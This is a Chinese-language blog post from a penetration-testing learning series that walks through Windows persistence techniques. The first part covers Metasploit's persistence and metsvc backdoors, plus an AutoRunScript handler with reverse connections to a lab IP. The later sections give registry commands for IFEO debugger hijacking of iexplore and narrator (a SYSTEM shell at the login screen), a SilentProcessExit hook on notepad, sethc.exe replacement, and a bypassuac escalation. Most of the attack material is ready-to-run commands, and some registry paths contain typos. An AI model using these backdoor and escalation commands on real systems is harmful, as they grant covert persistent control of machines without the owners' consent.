Windows权限维持(1)|内网渗透学习(十)

Windows权限维持(1)|内网渗透学习(十)

什么是权限维持?

为了保证获取到的目标权限不会因为漏洞的修复而丢失, 攻击者通常会在目标上安装一个后门, 来保证对目标的持久化控制。

文章小结

​ 前面两个是使用Meterpreter自带的权限维持模块

  1. Meterpreter--persistence 添加注册表后门

  2. Meterpreter--metsvc 添加一个服务后门

    下面几个是接替或替换系统工具形成的后门

  3. 注册表劫持修改命令调用程序路径

  4. 修改注册表添加指定程序关闭后执行恶意程序

  5. 直接替正常的exe文件为恶意exe且保持想通过文件名

  6. 使用sticky_keys模块实现第3点的注册表劫持

Meterpreter权限维持

persistence 注册表后门

persistence的执行过程如下:

  1. 先上传一个vbs脚本
  2. 执行vbs脚本修改注册表HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run从而完成自启动

特点:

开机自启动, 但是容易被杀软查杀, 持久Persistence Meterpreter不需要验证, 这意味着不管是谁都可以连接这个进入后门

run persistence -h
run persistence -U -i 10 -p 6666 -r 192.168.92.128
run persistence -S -U -X -i 5 -p 6666 -r 192.168.92.128
  • -A: 自动启动一个匹配的漏洞处理程序来链连接到代理
  • -X: 开启启动, 注册表位置HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • -U: 当前用户登录后自启动, 注册表位置HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • -S: 作为服务启动, 注册表位置HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • -T: 选择要使用的可执行模板
  • -L: 后门传到远程主机的位置(传到哪个目录下), 默认为%TEMP%
  • -P: 使用的payload, 默认为windows/meterpreter/reverse_tcp, 默认payload生成的后门为32位程序, 如果机器是64位系统时留下的后门会无法执行
  • -i: 设置反向链接间隔时间, 单位为秒
  • -p: 设置反向连接的端口号
  • -r: 设置反向链接的ip地址

示例:

先选择一个meterpre的session

image-20221001173645166

然后执行模块(我这里剪辑器使用的是444所以年糕端口改为444了)

run persistence -U -i 10 -p 444 -r 192.168.92.128

image-20221001173805233

可以看到执行成功, 并且每一步操作都被详细列出

然后我执行关机重启, session别关闭连接

image-20221001174011469

然后在重启完成之后就自动收到了弹回的session会话:

image-20221001174103752

说明服务成功加入到注册表, 开机自启动, 且执行的就是上传的vbs脚本

image-20221001175308513

metsvc后门 服务后门

和上面的persistence一样, metsvc也是很明显, 很容易被查杀的一种维权方式, 一般是不怎么用的

相比persistence, metsvc的使用方法就简单多了

run metsvc -h
run metsvc -A
run metsvc -r

-h: 帮助

-A: 执行模块创建服务后门

-r: 删除后门

image-20221001175603447

Autorunscript -- 指定默认执行脚本

获取shell的时候自动执行持续化脚本, 可以被Autorunscript执行的命令都在目录metasploit/scripts/meterpreter

使用示例如下:

use exploit/multi/handler
set payload windwos/meterpreter/reverse_tcp
set lhost 192.168.92.128
set lport 6666
set ExitOnSession false
set AutoRunScript persistence -r 192.168.92.128 -p 6666 -U -X -i 30
exploit

执行后反弹回来meterpreter的session会自动执行persistence模块命令修改注册表添加开机自启动的反弹shell服务

系统工具替换后门

(注意, Administrator权限是使用下面这几个方法的前提)

demo -- sticky_keys模块的原理

Windows的辅助功能提供了额外的选项(屏总键盘﹐放大镜﹐屏幕阅读等)可以帮助一些人更容易地使用操作系统。

然而, 这种功能可能会被滥用于在后用RDP获得Administrator权限的主机上实现持久化访问, 这种技术会接触磁盘, 或者需要修改注册表来执行远程存储的payload 。
涉及到的注册表项为IFEO ( lmage File Execution Options )默认是只有管理员ocal system有权读写修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

大致的原理如下︰

  1. 当我们按照常理运行属于IFEO列表的文件的时候(即可执行文件名在上述的注册表项下,出于简化原因IFEO使用忽略路释的方式来匹配它所要控制的程序文件名。
  2. 所以程序无论放在哪个路径, 只要名字没有变化, 它就可以正常运行。会执行相关的选项参数。这里我们主要利用的参数是debugger,通过该参数我们可以实现偷梁换柱。

下面以修改IE后动程序为例·实现运行IE程序但是启动的却是计算器:

  1. 找到注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\lmage FileExecution Options目录下的iexplore.exe
  2. 添加一个Debugger字符串键值, 并且赋值为calc.exe的执行路径C:\Windows\system32\calc.exe
  3. 运行iexplore.exe

cmd下执行命令添加注册表:

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersionlmage File Execution Options\iexplore.exe” /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe” /f

执行命令修改注册表之后如果我们执行iexplore.exe打开IE浏览器的话不再是打开浏览器, 而会弹出一个cmd窗口

与上面的IE浏览器劫持类似, 我们可以劫持一些登录界面可调用的轻松访问工具, 下面就以劫持Narrator 讲述人为例

Narrator 讲述人(修改执行程序路径)

image-20221001183103621

reg add "HKLM\Software\Microsotf\Windows NT\CurrentVersion\Image File Execution\Options\narrator.exe" \t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

执行完成后可以发现执行Narrator.exe的时候会弹出一个cmd命令框, 我们也可以直接在登录界面通过轻松访问的工具打开讲述人程序, 然后也是会调用cmd.exe, 而且执行的用户为system用户, 这是因为一般这些系统工具的调用权限是很高的

image-20221001183428974

image-20221001183445595

NotePad 记事本(添加指定程序关闭后调用的程序)

除了上面这种直接劫持调用的程序路径之外, 还有一种更隐蔽的方法, 那就是添加程序退出后静默运行后门程序

例如打开一个记事本Notepad, 在推出的时候静默执行一个反弹shell的payload文件

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_SZ /d "C:\Windows\system32\calc.exe"

运行添加注册表之后每次关闭记事本的时候都会弹出计算器

shift 粘滞键(替换exe文件)

在windows登陆的时候按五次shift键打开cmd进行操作, 前提条件是:

  • 在 C盘windows目录下面的system32文件夹可写

将里面的sethc.exe应用程序进行转移, 并生成sethc.exe.bak文件·并将cmd.exe铐贝覆盖
sethc.exe
但是在windows xp过后, sethc组件属于完全受信用的用户TrustInstall, 我们无法修改名字。

这时候即使administrators都只有名义上的只读可执行权限, 我们可以手动修改其所属的组为administrators, 步骤如下:

  1. 右键属性/安全/高级;
  2. 所有者/编辑/添加当前用户/应用/确定;
  3. 关闭窗口;
  4. 右键压性/安全/编辑;
  5. 选择Administrators(或者你的当前组)/勾选完全控制/确定;

这个方法就是直接替换掉调用的程序了

msf -- sticky_keys 模块使用

Metasploit 框架提供了一个后渗透模块, 可实现自动化地利用沾滞键的权限维持技术. 该模块将用CMD替换辅助功能的二进制文件( sethc粘滞键, osk屏幕键盘, disp, utilman放大镜)

这个模块的原理就是修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe, 和上面的iexplore示例一样

use post/windows/manage/sticky_keys
set session 

image-20221001193752395

测试后我在WindowsXP的系统中自定义的administrator用户测试成功了, 但是在Win8的系统中却失败了

image-20221001194140835

image-20221001200644151

这时候执行了getsystem失败了, 然后就可以用一下之前的提权命令了:

use exploit/windows/local/bypassuac 
set lhost 192.168.92.128
ste lport 4444
set session [win8_sessionID]
run

执行后生成一个新的session会话,用户还是和原本一样

sessions [new_sessionID]
getsystem
getuid
background
sessions

然后拿到一个system权限的session会话, 使用这个会话执行sticky_keys就没问题了

image-20221001201048182

如果上传一个反弹shell的exe到机器上就可以指定执行程序为payload用于反弹shell了

2022_10_01 23:00

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇